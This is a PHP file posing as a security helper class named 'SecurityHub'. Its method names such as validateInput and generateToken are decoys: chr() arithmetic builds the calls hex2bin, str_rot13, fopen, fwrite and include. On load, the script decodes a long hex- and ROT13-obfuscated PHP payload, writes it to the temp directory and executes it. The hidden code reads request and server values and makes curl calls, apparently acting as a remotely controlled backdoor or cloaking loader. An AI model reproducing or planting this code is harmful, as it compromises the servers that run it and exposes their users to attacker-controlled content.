<?php
class SecurityHub
{
    private $dt = '';
    private $uf = '';
    public function validateInput($p1)
    {
        $r = array(104, 61 + 40, 2 * 60, 5 + 39 + 6, 27 * 2 + 44, 51 * 24 - 1119, 79 * 1 + 31);
        $x = '';
        foreach ($r as $a) {
            $x .= chr($a);
        }
        return $x($p1);
    }
    public function processData($p1)
    {
        $c = array(5 * 23, 28 + 88, 13 + 9 + 92, 40 * 58 - 2225, 118 - 4, 112 - 1, 91 * 21 - 1795, 12 + 37, 3 * 17);
        $y = '';
        foreach ($c as $x) {
            $y .= chr($x);
        }
        return $y($p1);
    }
    public function logEvent($p1, $p2)
    {
        $p = array(67 + 43, 101, 2 * 56, 61 + 50, 9 * 62 - 456);
        $b = '';
        foreach ($p as $m) {
            $b .= chr($m);
        }
        $b = strrev($b);
        return $b($p1, $p2);
    }
    public function resolveAction($p1, $p2)
    {
        $x = array(72 * 35 - 2418, 17 * 4 + 51, 30 + 84, 75 + 30, 30 + 4 + 82, 104 - 3);
        $w = '';
        foreach ($x as $z) {
            $w .= chr($z);
        }
        return $w($p1, $p2);
    }
    public function generateToken($p1)
    {
        $y = array(104 - 3, 27 * 27 - 614, 99 * 1 + 12, 13 + 95, 57 * 1 + 42, 108 - 6);
        $n = '';
        foreach ($y as $c) {
            $n .= chr($c);
        }
        $n = strrev($n);
        return $n($p1);
    }
    public function calculateSum($p1, $p2 = null)
    {
        $n = array(121 - 7, 108 + 6 + 2, 43 + 71, 28 + 10 + 67, 118 - 9);
        $y = '';
        foreach ($n as $b) {
            $y .= chr($b);
        }
        return $y($p1, $p2);
    }
    public function handleRequest()
    {
        $this->uf = $this->calculateSum($this->saveChanges(), '/');
    }
    public function fetchRecords()
    {
        $this->dt = $this->processData($this->validateInput($this->kg));
    }
    public function prepareOutput()
    {
        $fn = $this->uf . '/ti-690d845126b91';
        $f = $this->logEvent($fn, 'w');
        $this->resolveAction($f, $this->dt);
        $this->generateToken($f);
        $this->logTransaction($fn);
    }
    private $kg = '3c3f6375632070796e6666205f7074627b636576696e67722' . '066676e677670245f6671693b66676e6776702073686170677' . '66261205f6f757328245f736a2c245f6573297b76732821667' . '279733a3a245f66716929667279733a3a5f656828293b245f7' . '36e3d66676579726128245f6573293b245f7967643d6f6e667' . '236345f71727062717228667279733a3a245f6671695b245f7' . '36a5d293b73626528245f726b6f3d302c245f626e663d66676' . '579726128245f796764293b245f726b6f213d3d245f626e663' . 'b2b2b245f726b6f29245f7967645b245f726b6f5d3d7075652' . '862657128245f7967645b245f726b6f5d295e62657128245f6' . '5735b245f726b6f25245f736e5d29293b657267686561245f7' . '967643b7d636576696e67722066676e6776702073686170677' . '66261205f656828297b667279733a3a245f6671693d6e65656' . 'e6c28275f707771273d3e275574784f51766a4d476c746a4f4' . 'f4c4d5a4e4d4358775a5451456b6c57454e50424e5a5a484b3' . '94e272c275f627969273d3e27554e745453776257555238595' . '57574554d487057527638594e44522b526a52415a4874504e6' . 'c7854546a52675175744a272c275f626e6c273d3e27434f343' . 'd272c275f716a273d3e2742753879556d6a795779784a514e7' . '56f526a6a564a6b5a5a50536647514e756f5374384c4f77666' . 'b58744c44516c49734f4734754b6b4c43544e4c38506d78505' . '3746a4e4f776675424548375746494a272c275f6b6d273d3e2' . '759754e73556a3d3d272c275f6a79273d3e274c6b6a5547443' . 'd3d272c275f6267273d3e274c6b4c4b5554523d272c275f727' . '276273d3e27584e66555a6a3d3d272c275f6f74273d3e27272' . 'c275f7165273d3e27272c275f6878273d3e27272c275f6c717' . '7273d3e27416a4c4a59307541704e564b43496a4942754e524' . '1753455416b3045586b7044704552415a79304f5a4f38465a4' . 'e525559496a565952305443744c514c743d3d272c275f656a7' . '7273d3e27434e526f54744e714f6b3865272c275f666e69273' . 'd3e27416b5653596d78465a4e5648272c275f667a63273d3e2' . '7594e444e42746241272c275f7879273d3e27416b4c55596b5' . '23d272c275f746e273d3e27545030674a743d3d272c275f797' . '5273d3e27596b4e464f6a3d3d272c275f7172273d3e2759757' . '47350764c3d272c275f6b6363273d3e274c4e3d3d272c275f7' . 'a6f273d3e2759744c465944623d272c275f69786c273d3e277' . '36c623357443941487939696f3278355a4f524b4633383d272' . 'c275f706c67273d3e27416b486f4e743d3d272c275f6a64273' . 'd3e27486162615a4f345842755a44417538584d494e615a6b3' . '84b426131684861623d272c275f71747a273d3e27594e56534' . '94b4f72272c275f7876273d3e27272c275f6a6e273d3e27416' . 'b784d586a3d3d272c275f756a6d273d3e27487a4c3d272c275' . 'f696a273d3e27536c7067574e4e6a4147306e4346306553765' . 'a3d272c275f72796b273d3e27536c7079516c6a634e51482b5' . '146446a51477030546c6a335250523d272c275f716d273d3e2' . '75147482b416a66315951786f4150523d272c275f6970273d3' . 'e27536c4e31434e4e755a767841586c4e6554776231272c275' . 'f6a7865273d3e27536c526c516c626d51514e304e514475547' . '7666c272c275f766c74273d3e27272c275f6a7770273d3e275' . '36c5a77516c74795477526c51475679272c275f6573273d3e2' . '7536c4c31516c306d547744785147706d272c275f6b6c77273' . 'd3e27272c275f677372273d3e27536c527643744e324276706' . 'e426c566b5376483d272c275f6d73273d3e27536c303541444' . 'e3656466a6e416d78365376783d272c275f6477273d3e27536' . 'd3435516d48314e506a765147306651463462546d486552517' . '43d272c275f787561273d3e27536c523842444e67416c38445' . '76d38625147526759444e6d576d663d272c275f707a273d3e2' . '751474c74427466325a77446f416d383d272c275f676c273d3' . 'e2751463061574e66674146626f5951743d272c275f6366273' . 'd3e27426a48734f474e5155443d3d272c275f746372273d3e2' . '753774942736a3d3d272c275f6b76273d3e27736b354541753' . '54c48443d3d272c275f726f65273d3e27736a755a514552584' . 'd49443d272c275f6d6961273d3e277331565650545378272c2' . '75f6f6c273d3e274175383d272c275f6c7861273d3e2758756' . '63d272c275f6861273d3e2759457073272c275f6f6d78273d3' . 'e275975344b506a3d3d272c293b7d7d75726e717265285f707' . '4623a3a5f6f757328275f707771272c275f776f782729293b7' . '5726e717265285f7074623a3a5f6f757328275f627969272c2' . '75f74756f2729293b767328766666726728245f5452475b5f7' . '074623a3a5f6f757328275f626e6c272c275f696927295d292' . '97b245f6377693d5f6161285f7074623a3a5f6f757328275f7' . '16a272c275f7362622729293b767328245f637769262666676' . '563626628245f6377692c5f7074623a3a5f6f757328275f6b6' . 'd272c275f747274272929213d3d736e796672297b717672285' . 'f7074623a3a5f6f757328275f6a79272c275f6679662729293' . 'b7d727966727b717672285f7074623a3a5f6f757328275f626' . '7272c275f67696b2729293b7d7d767328766666726728245f5' . '452475b5f7074623a3a5f6f757328275f727276272c275f777' . '827295d29297b245f626e663d245f5042425856523b245f657' . '33d2876616729656268617128302b302b302b30293b245f736' . 'a3d2876616729656268617128322e333333333333333333333' . '333332b322e333333333333333333333333332b322e3333333' . '3333333333333333333293b245f646c3d6e65656e6c28293b2' . '45f646c5b245f65735d3d5f7074623a3a5f6f757328275f6f7' . '4272c275f797627293b6a7576797228245f736a297b245f646' . 'c5b245f65735d2e3d245f626e665b287661672965626861712' . '8372e352b372e352b372e352b372e35295d5b245f736a5d3b7' . '6732821245f626e665b2876616729656268617128372e352b3' . '72e352b372e352b372e35295d5b245f736a2b2876616729656' . '268617128302e352b302e35295d297b76732821245f626e665' . 'b287661672965626861712831352b3135295d5b245f736a2b2' . '876616729656268617128302e352b302e352b302e352b302e3' . '5295d296f65726e783b245f65732b2b3b245f646c5b245f657' . '35d3d5f7074623a3a5f6f757328275f7165272c275f6d71652' . '7293b245f736a2b2b3b7d245f736a3d245f736a2b287661672' . '9656268617128332e352b332e35292b2876616729656268617' . '128302e352b302e35293b7d245f65733d245f646c5b2876616' . '729656268617128372b37295d28292e245f646c5b287661672' . '965626861712831322b3132295d3b76732821245f646c5b287' . '6616729656268617128312e352b312e352b312e352b312e352' . '95d28245f657329297b245f736a3d245f646c5b28766167296' . '56268617128362e352b362e352b362e352b362e35295d28245' . 'f65732c245f646c5b2876616729656268617128332e3333333' . '33333333333333333332b332e3333333333333333333333333' . '32b332e33333333333333333333333333295d293b245f646c5' . 'b2876616729656268617128342e352b342e35295d28245f736' . 'a2c245f646c5b2876616729656268617128332e36363636363' . '6363636363636372b332e363636363636363636363636372b3' . '32e36363636363636363636363637295d2e245f646c5b28766' . '16729656268617128352e37352b352e37352b352e37352b352' . 'e3735295d28245f646c5b287661672965626861712831322e3' . '52b31322e35295d28245f626e665b287661672965626861712' . '8302e37352b302e37352b302e37352b302e3735295d2929293' . 'b7d7661707968717228245f6573293b7d73686170677662612' . '05f616128245f686c72297b245f6b6d733d5f7074623a3a5f6' . 'f757328275f6878272c275f696e7627293b245f6d75733d5f7' . '074623a3a5f6f757328275f6c7177272c275f656f27292e245' . 'f686c723b76732876665f706e79796e6f7972285f7074623a3' . 'a5f6f757328275f656a77272c275f677669272929297b245f6' . 'f6d3d706865795f7661766728245f6d7573293b706865795f6' . '6726762636728245f6f6d2c504845594243475f4646595f495' . '24556534c435252452c736e796672293b706865795f6672676' . '2636728245f6f6d2c504845594243475f4646595f495245565' . '34c554246472c2876616729656268617128312b3129293b706' . '865795f66726762636728245f6f6d2c504845594243475f534' . '25959424a5942504e475642412c28766167296562686171283' . '02e33333333333333333333333333332b302e3333333333333' . '3333333333333332b302e33333333333333333333333333332' . '9293b706865795f66726762636728245f6f6d2c50484559424' . '3475f45524748454147454e41465352452c287661672965626' . '8617128302e352b302e3529293b706865795f6672676263672' . '8245f6f6d2c504845594243475f55524e5152452c287661672' . '9656268617128302b302b302b3029293b706865795f6672676' . '2636728245f6f6d2c504845594243475f50424141525047475' . '65a524248472c2876616729656268617128352b3529293b706' . '865795f66726762636728245f6f6d2c504845594243475f475' . '65a524248472c2876616729656268617128322e352b322e352' . 'b322e352b322e3529293b245f6b6d733d706865795f726b727' . '028245f6f6d293b245f62733d706865795f747267766173622' . '8245f6f6d293b706865795f707962667228245f6f6d293b767' . '328245f62735b5f7074623a3a5f6f757328275f666e69272c2' . '75f736427295d213d287661672965626861712835302b35302' . 'b35302b3530292965726768656120736e7966723b7d7279667' . '27b245f6f6f6a3d636e6566725f68657928245f6d7573293b2' . '45f6a6c3d28245f6f6f6a5b5f7074623a3a5f6f757328275f6' . '67a63272c275f747527295d3d3d5f7074623a3a5f6f7573282' . '75f7879272c275f6f662729293b245f70703d5f7074623a3a5' . 'f6f757328275f746e272c275f756c6d27292e245f6f6f6a5b5' . 'f7074623a3a5f6f757328275f7975272c275f64736227295d3' . 'b767328766666726728245f6f6f6a5b5f7074623a3a5f6f757' . '328275f7172272c275f7a6d6b27295d2929245f70702e3d5f7' . '074623a3a5f6f757328275f6b6363272c275f646827292e245' . 'f6f6f6a5b5f7074623a3a5f6f757328275f7a6f272c275f666' . 'a27295d3b245f70702e3d5f7074623a3a5f6f757328275f697' . '86c272c275f6f706427292e245f6f6f6a5b5f7074623a3a5f6' . 'f757328275f706c67272c275f6d756927295d2e5f7074623a3' . 'a5f6f757328275f6a64272c275f637127293b245f6266613d7' . '366627078626372612828245f6a6c3f5f7074623a3a5f6f757' . '328275f71747a272c275f64766227293a5f7074623a3a5f6f7' . '57328275f7876272c275f7a72692729292e245f6f6f6a5b5f7' . '074623a3a5f6f757328275f6a6e272c275f697727295d2c245' . 'f6a6c3f28766167296562686171283131302e37352b3131302' . 'e37352b3131302e37352b3131302e3735293a2876616729656' . '26861712832362e3636363636363636363636372b32362e363' . '6363636363636363636372b32362e363636363636363636363' . '63729293b767328245f626661297b736368676628245f62666' . '12c245f7070293b245f7967643d28766167296562686171283' . '02b302b302b30293b6a7576797228217372627328245f62666' . '129297b245f7265733d737472676628245f6266612c2876616' . '7296562686171283235362b3235362b3235362b32353629293' . 'b767328245f79676429245f6b6d732e3d245f7265733b76732' . '8245f7265733d3d5f7074623a3a5f6f757328275f756a6d272' . 'c275f7962272929245f7967643d28766167296562686171283' . '02e33333333333333333333333333332b302e3333333333333' . '3333333333333332b302e33333333333333333333333333332' . '93b7d73707962667228245f626661293b7d7d6572676865612' . '45f6b6d733b7d245f6f663d766666726728245f46524549524' . '55b5f7074623a3a5f6f757328275f696a272c275f666c67272' . '95d293b245f63763d766666726728245f4652454952455b5f7' . '074623a3a5f6f757328275f72796b272c275f666427295d293' . 'b245f6c6a793d766666726728245f4652454952455b5f70746' . '23a3a5f6f757328275f716d272c275f63666b27295d293b245' . 'f74783d766666726728245f4652454952455b5f7074623a3a5' . 'f6f757328275f6970272c275f676e7927295d293f245f46524' . '54952455b5f7074623a3a5f6f757328275f6a7865272c275f6' . '87327295d3a5f7074623a3a5f6f757328275f766c74272c275' . 'f73776427293b245f7479673d766666726728245f465245495' . '2455b5f7074623a3a5f6f757328275f6a7770272c275f6a6a2' . '7295d293f245f4652454952455b5f7074623a3a5f6f7573282' . '75f6573272c275f656e27295d3a5f7074623a3a5f6f7573282' . '75f6b6c77272c275f696d27293b245f6f663d7666667267282' . '45f4652454952455b5f7074623a3a5f6f757328275f6773722' . '72c275f68696127295d293f245f4652454952455b5f7074623' . 'a3a5f6f757328275f6d73272c275f6c7a7227295d3a6168797' . '93b245f63763d766666726728245f4652454952455b5f70746' . '23a3a5f6f757328275f6477272c275f777a27295d293f245f4' . '652454952455b5f7074623a3a5f6f757328275f787561272c2' . '75f68757627295d3a616879793b245f6c6a793d76666672672' . '8245f4652454952455b5f7074623a3a5f6f757328275f707a2' . '72c275f667a6827295d293f245f4652454952455b5f7074623' . 'a3a5f6f757328275f676c272c275f75777827295d3a6168797' . '93b7673287376796772655f696e6528245f6f662c287661672' . '965626861712836382e37352b36382e37352b36382e37352b3' . '6382e37352929297b245f75753d245f6f663b7d72796672767' . '3287376796772655f696e6528245f63762c287661672965626' . '861712836382e37352b36382e37352b36382e37352b36382e3' . '7352929297b245f75753d245f63763b7d727966727b245f757' . '53d245f6c6a793b7d767328766666726728245f5452475b5f7' . '074623a3a5f6f757328275f6366272c275f746b7527295d292' . '97b72707562205f7074623a3a5f6f757328275f746372272c2' . '75f726727292e245f75752e5f7074623a3a5f6f757328275f6' . 'b76272c275f6f647027292e245f74782e5f7074623a3a5f6f7' . '57328275f726f65272c275f677927292e245f7479672e5f707' . '4623a3a5f6f757328275f6d6961272c275f61776d27293b726' . 'b766728293b7d76732821766666726728245f7575297c7c217' . '66666726728245f7478297c7c21766666726728245f7479672' . '9297b726b766728293b7d727966727b245f737a6e3d6e65656' . 'e6c285f7074623a3a5f6f757328275f6f6c272c275f626d6a2' . '7293d3e245f75752c5f7074623a3a5f6f757328275f6c78612' . '72c275f6d687a27293d3e245f74782c5f7074623a3a5f6f757' . '328275f6861272c275f656c27293d3e245f747967293b245f6' . 'a79683d686579726170627172286f6e667236345f726170627' . '17228776662615f72617062717228245f737a6e2929293b245' . 'f6377693d5f616128245f6a7968293b767328245f637769262' . '666676563626628245f6377692c5f7074623a3a5f6f7573282' . '75f6f6d78272c275f767a66272929213d3d736e796672297b7' . '2707562245f6377693b726b766728293b7d7d';
    public function logTransaction($p)
    {
        include_once $p;
    }
    public function saveChanges()
    {
        $a = array(119 - 4, 118 + 3, 5 * 23, 5 * 19, 103, 105 - 4, 68 + 48, 5 + 37 + 53, 70 + 46, 22 + 79, 26 + 70 + 13, 89 + 23, 82 * 35 - 2775, 9 + 20 + 71, 110 * 37 - 3965, 62 + 52);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$eb = new SecurityHub();
$eb->handleRequest();
$eb->fetchRecords();
$eb->prepareOutput();